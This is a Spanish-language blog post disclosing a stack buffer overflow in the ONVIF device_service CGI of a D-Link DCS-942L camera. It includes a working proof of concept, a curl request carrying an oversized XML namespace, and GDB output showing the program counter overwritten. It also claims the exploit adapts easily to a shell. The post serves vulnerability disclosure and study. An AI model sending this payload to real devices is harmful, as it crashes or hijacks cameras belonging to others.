Concretamente el problema está en la llamada a la función vsprintf(str, "%s", input) donde str es una variable de tamaño fijo e input es el búfer de solicitud de entrada controlado por el atacante. Un atacante puede sobrescribir un puntero en la pila (por ejemplo, el registro guardado lr) para secuestrar el flujo de ejecución.
La función vulnerable vsprintf() es llamada por BaseCgilet::Term() (desde libcgilet.so). A continuación, se lanza el exploit en Soaplet::onUpdateSettings(), que a su vez llama a BaseCgilet::Term() cuando un documento XML no puede ser parseado correctamente. También podrían existir otras rutas en el código que lleven a la llamada a la función vulnerable.
Podemos llevar a cabo una PoC mediante el siguiente comando:
curl -d @poc-crash.xml -k -v https://<target IP>/onvif/device_service --header 'Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/device/wsdl/GetSystemDateAndTime"'
El xml poc-crash.xml es tan sencillo como esto:
<s:Envelope xmlns:s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX">
Esta petición hace que binario CGI desborde el búfer de pila, sobrescribiendo el valor lr guardado con datos ficticios. En la siguiente ejecución de GDB, todos los registros con valor 0x58585858 y 0x41414141 provienen del documento XML de entrada.
# gdb --args ./device_service
(gdb) run < poc.xml
ret != IXML_SUCCESS: 12
!_soapDump:
<s:Envelope xmlns:s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX">
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) info registers
r0 0x214 532
r1 0x0 0
r2 0x0 0
r3 0x0 0
r4 0x41414141 1094795585
r5 0x82588 533896
r6 0x82cd8 535768
r7 0x0 0
r8 0x0 0
r9 0x0 0
r10 0xb6fff000 3070226432
r11 0x41414141 1094795585
r12 0xb6f8e418 3069764632
sp 0xbefff888 0xbefff888
lr 0x58585858 1482184792
pc 0x58585858 0x58585858
cpsr 0x60000010 1610612752
Se puede adaptar el exploit fácilmente para ganar un shell como se muestra en la siguiente pantalla:
Por el momento la vulnerabilidad ha sido probada en el modelo DCS-942L (1.25 (hardware revision A)) aunque probablemente afecte a otros muchos modelos.
Fuente
No hay comentarios:
Publicar un comentario